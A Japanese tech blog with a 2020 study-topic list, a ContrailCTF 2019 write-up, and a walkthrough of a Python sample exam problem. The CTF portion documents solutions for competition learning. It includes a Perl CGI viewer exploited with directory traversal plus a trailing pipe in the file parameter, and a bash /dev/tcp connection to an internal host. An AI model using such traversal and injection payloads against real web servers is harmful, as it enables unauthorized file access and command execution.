2020年に勉強・研究したいことのテーマとそれを学ぶためのリソースについて

はじめに

2020年に勉強・研究したいことのテーマとそれを学ぶためのリソースを順に書いていきます(読了済みのものも、これからのものも一緒に書いています)。

リソースの順番はある程度こんな順番で読んでいけばいいんじゃないか、という主観に基づいて並べています。

今年度は大学院に進学することもあって、テーマは「基礎固め」としました(アプリケーションレイヤよりももっと低いレイヤのことをやっていきたいの意)。

やりたいこと

アセンブラ / 低レイヤー全般

コンピュータアーキテクチャ

OS

分散システム

計算理論

プログラミング(の基礎的なところ)

データ構造とアルゴリズム

コンパイラ/インタプリタ

Docker / K8s / Cloud Native

インフラ関連

AWS

Android / iOS

Web

Webセキュリティ

Golang

数学 / 機械学習

セキュリティ(技術)

セキュリティ(pentest)

セキュリティ(技術以外)

暗号理論

Blockchain

ネットワーク

ネットワークセキュリティ

心理学

おわりに

いろんな書籍や資料を列挙してみました。他におすすめなリソースがあれば教えてください。

ContrailCTF 2019のwriteup

はじめに

ContrailCTF 2019のwriteupです。

チームNekochanNano!で参加し、2598ptsで3位でした。

以下、私が(サポートをもらいつつ)解いた問題のwriteupです。

Persistence / forensics

forensics_persistence.arnというファイルが渡されます。

fileコマンドを実行してみると、以下のような結果になりました。

❯ file forensics_persistence.arn
forensics_persistence.arn: DIY-Thermocam raw data (Lepton 2.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 2361183241434822606848.000000, slope 32.249870

DIY-Thermocam raw dataというのはサーモグラフィカメラのフォーマット(?)らしいですが、本問とは関係ありませんでした。

調査の結果、本ファイルは「Autoruns」の膨大な情報から本当に怪しいヤツをあぶりだすテクで紹介されているAutorunsのファイルであることが分かりました。

そこで、本ファイルをAutoruns.exeで調査したところ、Evilというキーに記録された不審なexeファイルのファイル名にフラグが記載されていました。

Flag: ctfctf{P3rs1st3nc3_5ch3dul3d_Ta3ks}

Lets_Connct / misc

接続すると、/binlsしかないbashにつながります。

lsすると以下のようになります。

bash-4.4$ ls -al
ls -al
total 1140
drwxr-x--- 1 0 1000    4096 Dec 30 08:53 .
drwxr-x--- 1 0 1000    4096 Dec 30 08:53 ..
-rwxr-x--- 1 0 1000     220 Apr  4  2018 .bash_logout
-rwxr-x--- 1 0 1000    3771 Apr  4  2018 .bashrc
-rwxr-x--- 1 0 1000     807 Apr  4  2018 .profile
-rwxr-x--- 1 0 1000 1113504 Dec 30 04:53 bash
drwxr-x--- 1 0 1000    4096 Dec 30 08:53 bin
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 dev
-rwxr----- 1 0 1000      44 Jan  3 11:59 flag
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib32
drwxr-x--- 1 0 1000    4096 Dec 30 04:54 lib64

/flagというファイルがありますが、catコマンドがないため中身を読むことができません。

そこで、bashの組み込みコマンドを利用して読み出します。

bash-4.4$ read f < flag; echo $f
read f < flag; echo $f
Flag has moved to 3000 port on 172.17.0.5 .

Flagは172.17.0.5:3000に接続すれば得られるようです。そこで、linkを参考に以下のようにすると読めます。

bash-4.4$ exec 3<>/dev/tcp/172.17.0.5/3000
exec 3<>/dev/tcp/172.17.0.5/3000

bash-4.4$ read flag <&3; echo $flag
read flag <&3; echo $flag
ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}

Flag: ctrctf{b4sh_1s_a_mul7ifuncti0n_sh3ll}

prime_number / misc

Youtubeのリンク、パスワード付きZIPファイル、wavファイルが渡されます。
wavファイルは、Youtubeの動画の音声のみを抽出したもののようで、内容は電話のダイヤルの音声(DTMF)でした。

動画からはどの番号がタップされているかわからないので、linkを参考にAudacityというツールと変換表を用いて番号を復元したところ、以下のようになりました。

53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13

素数列が並んでいますがこれだけではパスワードがわかりません。

さて、問題文からパスワードは英大文字であることがわかっていたため、各素数はアルファベットのインデックスになっているのではないかとエスパーをし、以下のスクリプトを書いたところパスワードが復元できました。

import string

P = "2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97".split()
N = "53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13".split()

for n in N:
    print(string.ascii_uppercase[P.index(n)], end="") #PLEASEREMEMBERDTMF

このパスワードを用いてZIPファイルを解凍したところ、Flagを取得できました。

Flag: ctrctf{d0_y0u_r3m3mb3r_dtmf?}

LegacyBlog / web

BlogサービスのようなWebサイトが渡されます。

About Meをクリックし遷移すると、http://114.177.250.4:9999/cgi-bin/viewer.pl?text=aboutのようにtextクエリでファイルを指定しているように見えます。
そこで、http://114.177.250.4:9999/cgi-bin/viewer.pl?text=viewer.plとすると、viewer.plを閲覧することができました。

#!/usr/bin/perl
# viewer.pl
require 'client2.lib';
&ParseForm;
&print_header("The Texts");
print qq~
Hello World
~;

if ($FORM{'text'}){
    $FORM{'text'} =~ s/\!/./g;
    $FORM{'text'} =~ s/\"/'/g;
    $FORM{'text'} =~ s/\#/ /g;
    $FORM{'text'} =~ s/\$/ /g;
    $FORM{'text'} =~ s/\%/percent/g;
    $FORM{'text'} =~ s/\(/ /g;
    $FORM{'text'} =~ s/\)/ /g;
    $FORM{'text'} =~ s/\:/./g;
    $FORM{'text'} =~ s/\;/./g;
    $FORM{'text'} =~ s/\[/ /g;
    $FORM{'text'} =~ s/\]/ /g;
    $FORM{'text'} =~ s/\\/ /g;
    $FORM{'text'} =~ s/\`/ /g;
    &view_single_text;
}elsif ($FORM{'folder'}){
    $FORM{'folder'} =~ s/\!/./g;
    $FORM{'folder'} =~ s/\"/'/g;
    $FORM{'folder'} =~ s/\#/ /g;
    $FORM{'folder'} =~ s/\$/ /g;
    $FORM{'folder'} =~ s/\%/percent/g;
    $FORM{'folder'} =~ s/\(/ /g;
    $FORM{'folder'} =~ s/\)/ /g;
    $FORM{'folder'} =~ s/\:/./g;
    $FORM{'folder'} =~ s/\;/./g;
    $FORM{'folder'} =~ s/\[/ /g;
    $FORM{'folder'} =~ s/\]/ /g;
    $FORM{'folder'} =~ s/\\/ /g;
    $FORM{'folder'} =~ s/\`/ /g;
    &view_titles;
}
print "$footer";
exit(0);
################################################
# SUBS
###############################################
# view_folders Generate list of folders in the usr/local/etc/thetext/texts folder
sub view_folders{
    my @current;
    my @currentfiles;
    opendir(DIR, "$dir");
    @current = readdir(DIR);
    closedir(DIR);
    foreach(@current){
        unless($_ eq '.' || $_ eq '..' || $_ eq 'index.html'){
            push(@currentfiles, $_);
        }
    }
    @currentfiles = sort { uc($a) cmp uc($b) } @currentfiles;
    print qq~
     
    ~;
    opendir(DIR2, "$dir2");
    @current2 = readdir(DIR2);
    closedir(DIR2);
    foreach(@current2){
        unless($_ eq '.' || $_ eq '..' || $_ eq 'index.html'){
            push(@currentfiles2, $_);
        }
    }
    @currentfiles2 = sort { uc($a) cmp uc($b) } @currentfiles2;
    foreach(@currentfiles2){
        print qq~
        $_
        ~;
    }
}

################################################
# view_titles Generate list of texts
sub view_titles{
    my @current;
    my @currentfiles;
    my $introline;
    open (READINTRO, "$dir_intro/$FORM{'folder'}.txt");
    while ()
    {
        $introline = $introline . "
        " . $_ . "
        ";
    }
    close READINTRO;
    opendir(DIR2, "$dir$FORM{'dir'}/$FORM{'folder'}");
    @current = readdir(DIR2);
    closedir(DIR2);
    foreach(@current){
        unless($_ eq '.' || $_ eq '..' || $_ eq 'index.html'){
            push(@currentfiles, $_);
        }
    }
    @currentfiles = sort { uc($a) cmp uc($b) } @currentfiles;
    foreach(@currentfiles){
        print qq~
        $_
        ~;
    }
    print qq~
    ~;
}
################################################
# view_single_text Display single text on page
sub view_single_text{
    my $newline;
    open (READDATA, "/usr/lib/cgi-bin/$FORM{'dir'}/$FORM{'folder'}/$FORM{'text'}");
    while ()
    {
        $newline = $newline . "
        " . $_ . "
        ";
    }
    print $newline;
    close READDATA;
} 

上記のソースを読み、以下のようにdirクエリやfolderクエリを上手く操作するとルートディレクトリを参照することができます。

http://114.177.250.4:9999/cgi-bin/viewer.pl?dir=/&folder=../../../

ここにflagというファイルがリストされていますが、以下のURLでは参照することができません。

http://114.177.250.4:9999/cgi-bin/viewer.pl?dir=/&folder=../../../&text=flag

URLの末尾に|を付加することでflagが取得できました。

http://114.177.250.4:9999/cgi-bin/viewer.pl?dir=/&folder=../../../&text=flag|

Flag: ctrctf{Th1s_1s_01d_cg1_exp101t}

document_rescue / crypto

暗号化されたPDF(flag.www)と暗号化スクリプト(encrypt.py)が渡されます。

encrypt.pyは以下の通りです。

import os

target_ext = '.pdf'

def define_keys():
    with open('keys.txt', 'r') as f:
        a = int(f.readline())
        x = int(f.readline())
        b = int(f.readline())
        modified_header_text = f.readline()[:-1].encode()
    return a, x, b, modified_header_text

def encryptor01(a, x, b, m):
    return (a * x + b) % m
    
def encryptor02(filename):
    f = open(filename + target_ext, 'rb')
    g = open(filename + '.www', 'wb')

    # define keys
    a, x, b, modified_header_text = define_keys()
    m = pow(2, 32)

    assert a < m and x < m and b < m
    
    data = bytearray(f.read())
    data_length = len(data)
    padding_length = (-data_length) % 4
    data += (b'\x00' * padding_length)
    data_length += padding_length

    # header modification!
    index = 0
    modified_header = b'%PDF-9.9'
    modified_header += modified_header_text
    while True:
        if index >= len(modified_header):
            break
        data[index] = modified_header[index]
        index += 1
    
    # main encryption process
    index = 0
    while True:
        if index == data_length:
            break
        plain = int.from_bytes(data[index:index + 4], 'big')
        x = encryptor01(a, x, b, m) ^ plain
        g.write(x.to_bytes(4, 'big'))
        index += 4
    
    f.close()
    g.close()

if __name__ == '__main__':
    filenames = os.listdir('.')
    for filename in filenames:
        if filename[-len(target_ext):] == target_ext:
            encryptor02(filename[:-len(target_ext)])
            os.remove(filename)
    os.remove('keys.txt')

処理としては、大まかに以下のことがわかります。

  • keys.txtとPDFファイルを用いる
    • keys.txtからはa, x, b, modified_header_textを読み込んでいる
  • encryptor02関数ではPDFファイルの暗号化処理を行なっている
    • PDFファイルの長さが4の倍数となるように末尾にパディング(\x00)を付加する
    • modified_header(b'%PDF-9.9')を先頭に付加する
    • PDFデータを4byteずつ暗号化する(暗号化の内容は、encryptor01関数と平文データ(plain)のXORである)
      • encryptor01関数は、(a * x + b) mod 2**32を計算するAffine Cipherである
      • xは直前の暗号化された結果で上書きされる

さて、暗号化ファイルの内容の先頭部分と平文のヘッダの内容から、以下のことがわかります。

a * x + b mod 2**32 = 312676777
a * 938694127 + b mod 2**32 = 587424505

しかし、これだけではa,b,xの初期値を割り出すことができません。

そこで、ファイルの末尾にパディングが付加されている事実を利用します。PDFの終端は一般的に25 45 4f 46 (%EOF)であるため、平文ファイルの終端は以下のどれかで終わることがわかります。

  • 25 45 4f 46 (625299270)
  • 45 4f 46 00 (1162823168)
  • 4f 46 00 00 (1329987584)
  • 46 00 00 00 (1174405120)

これに加えて、暗号化ファイルの終端が68 5e 4a 6d 49 dc 9e 63 (1751009901 1239195235)であることを利用すると、最後の(a * x + b) mod 2**32の計算結果は以下のどれかになります。

  • 1822019877 (0x25454f46 ^ 0x49dc9e63) (plain ^ enc)
  • 211015779 (0x454f4600 ^ 0x49dc9e63)
  • 110796387 (0x4f460000 ^ 0x49dc9e63)
  • 266116707 (0x46000000 ^ 0x49dc9e63)

よって、以下のような連立方程式が立てられます。

(x=1751009901であることは、暗号化ファイルの終端から1つ手前のブロックが68 5e 4a 6d (1751009901)であることからわかります)

- `938694127a+b mod 2**32 = 587424505` (確定)

- 以下のどれか
    - `1751009901a+b mod 2**32 = 1822019877`
    - `1751009901a+b mod 2**32 = 211015779`
    - `1751009901a+b mod 2**32 = 110796387`
    - `1751009901a+b mod 2**32 = 266116707`

この連立方程式から、(a, b, x)の初期値は以下のどれかであるとわかります。

- (2134452074,854811907, 92870375)
- (2109834763, 3764688820, 4563402751)
- (2109834763, 3764688820, 8858370047)
- (1049060107, 1850361012, 5565747199)
- (1049060107, 1850361012, 9860714495)
- (1202086667, 2673427636, 6676189183)
- (1202086667, 2673427636, 10971156479)

そこで、これらの全てのパラメータで複号を試みるソルバを書きました。

def solve():
    # L = [(a, b, x), ...]
    L = [
        (2134452074,854811907, 92870375),
        (2109834763, 3764688820, 4563402751),
        (2109834763, 3764688820, 8858370047),
        (1049060107, 1850361012, 5565747199),
        (1049060107, 1850361012, 9860714495),
        (1202086667, 2673427636, 6676189183),
        (1202086667, 2673427636, 10971156479),
    ]

    for i, l in enumerate(L):
        def encryptor01(a, x, b, m):
            return (a * x + b) % m

        data = bytearray(open("flag.www", "rb").read())
        outfile = open("{}.pdf".format(str(i)), "wb")
        outdata = b""

        a,b,x = l

        index = 0
        while index != len(data):
            enc = int.from_bytes(data[index:index+4], "big")
            outdata += (encryptor01(a, x, b, 2**32) ^ enc).to_bytes(4, "big")
            x = enc
            index += 4

        outfile.write(outdata)

solve()

このソルバを走らせたところ、(a,b,x) = (2109834763, 3764688820, 8858370047)でメッセージが出現しました。

PDFファイルを修復すれば良いようです。

00000000  25 50 44 46 2d 39 2e 39  47 72 65 61 74 21 20 59  |%PDF-9.9Great! Y|
00000010  6f 75 20 68 61 76 65 20  61 77 65 73 6f 6d 65 20  |ou have awesome |
00000020  70 72 6f 67 72 61 6d 6d  69 6e 67 20 73 6b 69 6c  |programming skil|
00000030  6c 20 61 6e 64 20 6b 6e  6f 77 6c 65 64 67 65 20  |l and knowledge |
00000040  6f 66 20 43 46 42 2d 6d  6f 64 65 20 65 6e 63 72  |of CFB-mode encr|
00000050  79 70 74 69 6f 6e 21 20  54 68 65 6e 20 6c 65 74  |yption! Then let|
00000060  27 73 20 66 69 6e 64 20  61 6e 64 20 75 73 65 20  |'s find and use |
00000070  61 20 74 6f 6f 6c 20 74  6f 20 66 69 78 20 74 68  |a tool to fix th|
00000080  69 73 20 63 6f 72 72 75  70 74 65 64 20 68 65 61  |is corrupted hea|
00000090  64 65 72 20 61 6e 64 20  74 72 79 20 74 6f 20 73  |der and try to s|
000000a0  65 65 20 74 68 69 73 20  50 44 46 20 66 69 6c 65  |ee this PDF file|
000000b0  27 73 20 63 6f 6e 74 65  6e 74 20 3a 29 3c 32 39  |'s content :)<29|
000000c0  41 38 37 46 32 35 37 44  38 37 42 44 34 34 42 46  |A87F257D87BD44BF|
000000d0  43 30 39 35 34 38 38 44  38 35 39 32 42 43 3e 3c  |C095488D8592BC><|

あとはこのファイルを適当なPDF修復ツールにかければFlagが取得できます。

Flag: ctrctf{f1l3_5truc7ur3_1nf0rm471on_4lw4ys_help_u}

おわりに

年末年始をCTFで迎えてしまったので今年はCTFの年になりそう(?) Contrailの皆さま、お忙しい中ありがとうございました。

基本情報技術者試験のPythonサンプル問題を解く

はじめに

本記事では、IPAより公表された、基本情報技術者試験(FE)におけるPythonのサンプル問題(link)について解説します。

Pythonによる出題は令和2年度春期試験から実施されるようです。

問題の概要

  • 命令列を解釈実行することによって様々な図形を描くプログラムである。
  • マーカは,現在の位置座標と進行方向の角度を情報としてもつ。
  • 命令列は,命令を;で区切った文字列である。
    • F<val>: <val>の分だけ前進して現在の位置座標を更新する。
    • T<val>: <val>の分だけ回転して角度情報を更新する。
    • R<val>: <val>の分だけE0命令までの命令列を繰り返す。

設問1

a

命令列αは以下の通りです。

R3;R4;F100;T90;E0;T100;E0;

この命令列のうち、特にR4;F100;T90;E0;の部分は現在位置を起点にして長さ100の正方形を描く命令列です。

また、命令列のうち、R3; ... T100;E0;の部分は、...の処理の後に前に100進む処理を3回繰り返す処理です。

つまり、命令列全体は「長さ100の正方形を描いた後、前に100進む」という処理を3回繰り返すものになります。

そのため、命令列αが実行し終わった時点でのマーカの位置は、図3の内の②であり、進行方向は右向き(x軸の正方向)となります。

b

1辺の長さが100の正五角形を描くためには、以下のような処理を行えば良いことがわかります。

- 5回繰り返す
    - 前に100進む
    - 適切な角度回転する

これを問題の命令列に則った書式で書き直すと以下のようになります。

R5;F100;T???;E0;

ここで、回転する角度は以下の画像に示す赤の角度になります。正五角形なので、ここの角度は72度です。

f:id:Szarny:20191225125026p:plain

よって命令列は以下の通りとなります。

R5;F100;T72;E0;

設問2

c

関数parseの処理を分解すると以下のように考えることができます。

- ";" で区切る
- 区切った各要素のうち先頭の命令コードを取り出す
- 区切った各要素のうち先頭の命令コードを除いた数値パラメタを取り出す

問題文のソースコードにおいて、;で区切る処理(s.split(';'))と、各要素のうち先頭の命令コードを取り出す処理(x[0])はすでに記述されているため、残っているのは、各要素のうち先頭の命令コードを除いた数値パラメタを取り出す処理です。

def parse(s):
    return [(x[0], [ c ]) for x in s.split(';')]

数値パラメタは各要素の先頭の1文字を除いたものであるため、ここではxの2文字目以降を表すx[1:]が適切です。

d

関数forwardの処理は以下の通りです。

def forward(self, val):
    # 度数法で表した角度を,ラジアンで表した角度に変換
    rad = math.radians(self.angle)
    dx = val * [ d1 ]
    dy = val * [ d2 ]
    x1, y1, x2, y2 = [ e ], self.x + dx, self.y + dy
    # (x1,y1)と(x2,y2)を結ぶ線分を描画
    plt.plot([x1, x2], [y1, y2], color='black', linewidth=2)
    self.x, self.y = x2, y2

ここで、dx,dyはそれぞれx軸方向及びy軸方向それぞれの軸における、現在の座標から目的とする座標に移動するために必要な座標の差分だと考えられます。

dxがx軸方向における座標の差分であるならば、その値は進む量 * cos(角度)で求められます。これはd1に当てはまります。

また、dyがy軸方向における座標の差分であるならば、その値は進む量 * sin(角度)で求められます。これはd2に当てはまります。

e

関数forwardにおけるex1, y1に代入されています。

plt.plot([x1, x2], [y1, y2], color='black', linewidth=2)という処理を考慮すれば、x1,y1はそれぞれ移動前のx座標とy座標であると考えられます。

よって、eには移動前のx座標とy座標であるself.x, self.yを当てはめれば良いです。

f

関数drawの処理は以下の通りです。

def draw(s):
insts = parse(s)
    marker = Marker()
    stack = []
    opno = 0
    while opno < len(insts):
        print(stack) # <- β>
        code, val = insts[opno]
        if code == 'F':
            marker.forward([ f ])
        elif code == 'T':
            marker.turn([ f ])
        elif code == 'R':
            stack.append({'opno': opno, 'rest': [ f ]})
        elif code == 'E':
            if stack[-1]['rest'] [ g ]:
                [ h ]
                stack[-1]['rest'] -= 1
            else:
                [ i ]
            opno += 1
    marker.show()

fは、移動時や回転時におけるパラメタとして利用されています。そのため、単純に数値パラメタを代入すれば良いです。

code, val = insts[opno]において、実行すべき命令の命令コードと数値パラメタが代入されているため、fにはvalを当てはめれば良いです。

g

gには特定の条件が当てはまります。

特に関係のある部分を抽出してみます。

elif code == 'E':
    if stack[-1]['rest'] [ g ]:
        [ h ]
        stack[-1]['rest'] -= 1
    else:
        [ i ]

この条件分岐は、実行する命令がEである命令、つまりループの終端に到達した時に実行されます。

ここで、Eに到達した時に考えなければならないことは「ループが終わるか、さらに繰り返すか」です。

さて、stack[-1]['rest'] [ g ]という条件がTrueであった場合、stack[-1]['rest'] -= 1という処理が実行されています。これは、ループの残り回数をデクリメントする処理です。つまり、こちら側に分岐した際には、まだループが終わっていないと考えられます(終わっているならばループ回数をデクリメントする必要がないからです)。

以上を考慮すると、stack[-1]['rest'] [ g ]は「ループがまだ終わっていない」を意味する条件であると考えられます。「ループがまだ終わっていない」は「今のループの残り回数がまだ1回より多く残っている」という解釈ができます。

よって、条件はstack[-1]['rest'] > 1であると考えられます。

h

gにて述べた通り、こちら側の分岐はまだループが終わっていない時の分岐です。ループが終わっていない時に行わなければならない処理は以下の通りです。

  • ループの残り回数をデクリメントする
  • 実行する命令をループの先頭に戻す

この内、「ループの残り回数をデクリメントする」はすでに行われているため、「実行する命令をループの先頭に戻す」処理が必要であると考えられます。

実行する命令は変数opnoによって管理されており、実行中のループの先頭命令は、スタックとして用いられているリストの末尾の要素であるstack[-1]に格納されている辞書のopnoキーの値として保持されています。

よってhopno = stack[-1]['opno']であるとわかります。

i

gにて述べた通り、こちら側の分岐はループが終了した際の分岐です。ループが終わった際には、そのループを表す辞書をスタックから取り除く必要があります。

ここで、現在のループを表す辞書はスタックとして用いられているリストの末尾の要素であるstack[-1]に格納されています。

そのため、stack[-1]を取り除く処理であるstack.pop()を実行すれば良いです。

おわりに

基本情報技術者試験(FE)におけるPythonのサンプル問題を行いました。

他の言語よりも比較的敷居が低いため、Pythonの選択者がかなり増えるんじゃないかなあと個人的に思っています。